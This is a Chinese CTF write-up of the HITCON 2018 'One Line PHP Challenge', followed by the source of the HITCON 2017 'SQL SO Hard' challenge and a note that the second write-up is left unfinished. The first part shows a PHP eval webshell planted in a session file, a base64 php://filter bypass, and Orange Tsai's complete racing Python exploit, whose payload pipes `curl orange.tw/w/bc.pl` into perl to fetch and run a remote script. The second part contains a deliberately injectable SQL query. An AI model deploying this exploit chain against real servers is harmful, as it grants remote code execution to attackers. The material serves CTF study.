题目代码如下:

1
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@ ? include($_) : highlight_file(__FILE__);

php的session.upload_progress.enabled=On引起的一个小问题

由于这个题目连session都没开,所以我根本就没有考虑去包含session。

但是最后看了orange的exp我才发现,只要发的POST请求中只要包含ini_get("session.upload_progress.name")这个键值,并带上session_id,同时进行文件上传,就会直接创建一个session文件。

搭建一个上传文件的页面

upload.html

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>

<form action="upload_file.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

upload_file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
?>

测试如下,先删除session文件:

1
2
root@kali:/var/lib/php/sessions# rm sess_6hb0hqruuv7d5p2b6jtgs1i8no 
root@kali:/var/lib/php/sessions# ls

然后上传任意一个文件,发现并没有生成session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /CTF/hitcon2018/one-line-php-challenge/upload_file.php HTTP/1.1
Host: 192.168.92.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.92.129/CTF/hitcon2018/one-line-php-challenge/upload.html
Content-Type: multipart/form-data; boundary=---------------------------23634071864731266927650791
Content-Length: 452
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------23634071864731266927650791
Content-Disposition: form-data; name="file"; filename="burpsuite_pro"
Content-Type: application/octet-stream

java -Xbootclasspath/p:/opt/burpsuite/burp-loader-keygen.jar -jar /opt/burpsuite/burpsuite_pro_v1.7.37.jar

-----------------------------23634071864731266927650791
Content-Disposition: form-data; name="submit"

Submit
-----------------------------23634071864731266927650791--

然后在上传内容中构造session.upload_progress.name键值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /CTF/hitcon2018/one-line-php-challenge/upload_file.php HTTP/1.1
Host: 192.168.92.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.92.129/CTF/hitcon2018/one-line-php-challenge/upload.html
Cookie: PHPSESSID=u0hgfruaudns3jigq5trocbr0m
Content-Type: multipart/form-data; boundary=---------------------------23634071864731266927650791
Content-Length: 586
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------23634071864731266927650791
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

test
-----------------------------23634071864731266927650791
Content-Disposition: form-data; name="file"; filename="burpsuite_pro"
Content-Type: application/octet-stream

java -Xbootclasspath/p:/opt/burpsuite/burp-loader-keygen.jar -jar /opt/burpsuite/burpsuite_pro_v1.7.37.jar

-----------------------------23634071864731266927650791
Content-Disposition: form-data; name="submit"

Submit
-----------------------------23634071864731266927650791--

上传后发现生成了session

1
2
root@kali:/var/lib/php/sessions# ls
sess_rlj8ralp0imdacas126gtom0co

session文件内容

1
2
3
upload_progress_@<?php eval($_GET[1]);|a:5:{s:10:"start_time";i:1540269279;s:14:"content_length";i:315;s:15:"bytes_processed";i:
315;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"upload";s:4:"name";s:4:"test";s:8:"tmp_name";N;s:5:"error";i
:0;s:4:"done";b:0;s:10:"start_time";i:1540269279;s:15:"bytes_processed";i:315;}}}

开头是upload_progress_@<?php eval($_GET[1]);,题目要求开头是@<?php

绕过@substr(file($_)[0],0,6) === ‘@<?php’

这里用到了base64_decode() 的容错性: base64解码函数可以接受的字符范围是[A-Za-z0-9+/=],但是如果php的base64_decode遇到了不在此范围内的字符,php就会直接跳过这些字符,只把在此范围的字符连起来进行解码。

1
2
3
4
5
6
7
8
9
10
11
12
$i = 0 ;
$data = "upload_progress_ZZ";
while(true){
$i += 1;
$data = base64_decode($data);
var_dump($data);
sleep(1);
if($data == ''){
echo "一共解码了:".$i,"次\n";
break;
}
}
1
2
3
4
5
string(12) "��hi�k�
޲�Y"
string(3) "�)"
string(0) ""
一共解码了:3

upload_progress_ZZ一共是18个字符,但是由于base64_decode跳过了_,所以是剩下16个字符,解码一次之后是12个字符,又因为12个字符中只有4个在范围内,所以再次解码之后变为了3个字符,这三个字符都不在范围内,所以解码之后为空字符串。

这里需要注意的是我们在upload_progress_前缀后面扩展了两位是ZZ,这个ZZ的选择也是非常有讲究的,必须保证每一次的的base64解码之后的可接受字符个数都必须是4的整数倍,否则就会吞掉后面的payload。

举个例子upload_progress_AA就是不满足条件的,因为一次base64解码之后变为了

1
2
string(12) "��hi�k�
޲�"

可接受字符变为了3个,不是4的倍数,那么在下一次进行base64解码的时候,一定会吞掉后面的一位,导致payload部分被破坏掉。

所以最后控制SESSION的key值为:

1
"upload_progress_ZZ".base64_encode(base64_encode(base64_encode('@<?php eval($_GET[1]);')));

然后进行三次的base_64decode,就会去掉upload_progress_,只剩下@<?php eval($_GET[1]);

最后附上orange的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool



HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'


while 1:
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
print xxx
break

def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + xxx + 'Z'
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()

def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
# print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c and 'orange' not in c:
print

if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

SQL SO Hard

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/node

/**
* @HITCON CTF 2017
* @Author Orange Tsai
*/

const qs = require("qs");
const fs = require("fs");
const pg = require("pg");
const mysql = require("mysql");
const crypto = require("crypto");
const express = require("express");

const pool = mysql.createPool({
connectionLimit: 100,
host: "localhost",
user: "ban",
password: "ban",
database: "bandb",
});

const client = new pg.Client({
host: "localhost",
user: "userdb",
password: "userdb",
database: "userdb",
});
client.connect();

const KEYWORDS = [
"select",
"union",
"and",
"or",
"\\",
"/",
"*",
" "
]

function waf(string) {
for (var i in KEYWORDS) {
var key = KEYWORDS[i];
if (string.toLowerCase().indexOf(key) !== -1) {
return true;
}
}
return false;
}

const app = express();
app.use((req, res, next) => {
var data = "";
req.on("data", (chunk) => { data += chunk})
req.on("end", () =>{
req.body = qs.parse(data);
next();
})
})


app.all("/*", (req, res, next) => {
if ("show_source" in req.query) {
return res.end(fs.readFileSync(__filename));
}
if (req.path == "/") {
return next();
}

var ip = req.connection.remoteAddress;
var payload = "";
for (var k in req.query) {
if (waf(req.query[k])) {
payload = req.query[k];
break;
}
}
for (var k in req.body) {
if (waf(req.body[k])) {
payload = req.body[k];
break;
}
}

if (payload.length > 0) {
var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`;
} else {
var sql = `SELECT ?,?,?`;
}

return pool.query(sql, [ip, payload, payload], (err, rows) => {
var sql = `SELECT * FROM blacklists WHERE ip=?`;
return pool.query(sql, [ip], (err,rows) => {
if ( rows.length == 0) {
return next();
} else {
return res.end("Shame on you");
}

});
});

});


app.get("/", (req, res) => {
var sql = `SELECT * FROM blacklists GROUP BY ip`;
return pool.query(sql, [], (err,rows) => {
res.header("Content-Type", "text/html");
var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n";
for(var r in rows) {
html += `${parseInt(r)+1}. ${rows[r].ip}\n`;

}
return res.end(html);
});

});

app.post("/reg", (req, res) => {
var username = req.body.username;
var password = req.body.password;
if (!username || !password || username.length < 4 || password.length < 4) {
return res.end("Bye");
}

password = crypto.createHash("md5").update(password).digest("hex");
var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
return client.query(sql.split(";")[0], (err, rows) => {
if (rows && rows.rowCount == 1) {
return res.end("Reg OK");
} else {
return res.end("User taken");
}
});
});

app.listen(31337, () => {
console.log("Listen OK");
});

留坑。。